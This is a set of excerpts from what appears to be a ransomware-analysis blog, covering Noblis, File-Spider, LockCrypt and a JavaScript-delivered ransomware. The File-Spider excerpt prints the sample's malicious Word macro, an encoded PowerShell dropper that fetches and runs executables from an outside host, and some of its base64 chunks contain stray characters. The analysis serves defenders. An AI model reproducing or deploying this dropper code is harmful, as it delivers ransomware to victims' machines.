Ransomware on Melted in Hex

Analysis of Noblis In-dev Ransomware

Wed, 13 Dec 2017 22:20:00 +0530

Noblis is in-development ransomware which is built in Python and packed by PyInstaller.
You can refer to my previous blog to learn how to identify and reverse Python-built executables.

We have the following sample:
Hash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [App.Any]

The sample is UPX packed; after unpacking we get the following sample.
Hash : A886E7FAB4A2F1B1B048C217B4969762

The binary has many Python reference strings and a zlib archive appended to it as an overlay.
You can use the PyExtractor tool to extract the Python code from the binary.

Analysis of File-Spider Ransomware

Mon, 11 Dec 2017 23:14:00 +0530

MD5: de7b31517d5963aefe70860d83ce83b9 [VirusTotal]
FileName: BAYER_CROPSCIENCE_OFFICE_BEOGRAD_93876.doc
FileType: MS Word Document

The Word file has an embedded macro.
When you look into the macro code, you will find the below snippet.

Private Function decodeBase64(ByVal strData As String) As Byte()
    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    
    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    decodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Private Function str() As String

str = "cG93ZXJzaGVsbC5leGUgLXdpbmRvd3N0eWxlIGhpZGRlbiAkZGlyID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJykgKyAnXFNwaWRlcic7JGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ZnVuY3Rpb24geG9yIHtwYXJhbSgkc3RyaW5nLCAkbWV0aG9kK"
str = str + "SR4b3JrZXkgPSAkZW5jLkdldEJ5dGVzKCdBbGJlclRJJyk7JHN0cmluZyA9ICRlbmMuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZykpOyRieXRlU3RyaW5nID0gJGVuYy5HZXRCeXRlcygkc3RyaW5nKTskeG9yZERhdGEgPSAkKGZvciAoJGkgPSAwOyAkaSAtbH"
str = str + "QgJGJ5dGVTdHJpbmcubGVuZ3RoKXtmb3IoJGogPSAwOyAkaiAtbHQgJHhvcmtleS5sZW5ndGg7ICRqKyspeyRieXRlU3RyaW5nWyRpXSAtYnhvciAkeG9ya2V5WyRqXTskaSsrO2lmKCRpIC1nZSAkYnl0ZVN0cmluZy5MZW5ndGgpeyRqID0gJHhvcmtleS5sZW5ndGh9fX0pOyR4b3JkRGF0YSA9ICRlbmMuR2V"
str = str + "0 U3RyaW5nKCR4b3JkRGF0YSk7cmV0dXJuICR4b3JkRGF0YX07ZnVuY3Rpb24gZGF0YSB7cGFyYW0oJG1ldGhvZCkkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgaWYgKCRtZXRob2QgLWVxICdkJyl7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDov"
str = str + "L3lvdXJqYXZhc2NyaXB0LmNvbS81MTE4NjMxNDc3L2phdmFzY3JpcHQtZGVjLTItMjUtMi5qcycpfWVsc2V7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDovL3lvdXJqYXZhc2NyaXB0LmNvbS81MzEwMzIwMTI3Ny9qYXZhc2NyaXB0LWVuYy0xLTAtOS5qcycpfSRieXRlcyA9IFtDb"
str = str + "252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggKHhvciAkaW5wdXQgJ2QnKSApO3JldHVybiAgJGJ5dGVzfTtmdW5jdGlvbiBpbyB7cGFyYW0oJG1ldGhvZClpZigkbWV0aG9kIC1lcSAnZCcpeyRmaWxlbmFtZSA9ICRkaXIgKyAnXGRlYy5leGUnfWVsc2V7JGZpbGVuYW1lID0gJGRpciArICdcZW5jLmV4ZSd9W0"
str = str + "lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlbmFtZSwgKGRhdGEgJG1ldGhvZCkpfTtmdW5jdGlvbiBydW4ge3BhcmFtKCRtZXRob2QpaWYgKCRtZXRob2QgLWVxICdkJyl7aW8gJ2QnOyBIC1GaWxlUGF0aCAoJGRpciArICdcZGVjLmV4ZScpIC1Bcmd1bWVudExpc3QgJ3NwaWRlcid"
str = str + "9ZWxzZXtpbyAnZSc7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICgkZGlyICsgJ1xlbmMuZXhlJykgLUFyZ3VtZW50TGlzdCAnc3BpZGVyJywgJ2t0bicsICcxMDAnfX07aWYoIFRlc3QtUGF0aCAkZGlyKXt9ZWxzZXttZCAkZGlyOyBydW4gJ2QnOyBydW4gJ2UnIH0="

str = StrConv(decodeBase64(str), vbUnicode)

End Function

After Base64 decoding, we will get the following PowerShell script.

Analysis of LockCrypt ransomware

Fri, 01 Dec 2017 04:43:00 +0530

Introduction:

Attackers have been recently breaking into corporate servers via RDP brute force attacks to spread a new variant of ransomware called LockCrypt. The attacks first started in June but there was an increase of attacks in October. The victims were asked to pay 0.5 to 1 BTC to recover their server.
LockCrypt encrypts all files and renames them with a ‘.lock’ extension. It also installs itself for persistence and deletes backups.

Analysis of Ransomware spread by JavaScript

Mon, 06 Jun 2016 22:26:00 +0530

Summary:

The sample is a JavaScript file. After execution, it downloads a BAT file and an EXE file to run, traverses the computer’s files, and encrypts 80 kinds of file extensions including documents, pictures, media, etc. After the encryption, it asks for 0.5 BTC to decrypt the files.

The malware author embeds malicious JavaScript in any kind of input data passed to an application that understands it; the application may be a PDF, SWF, etc.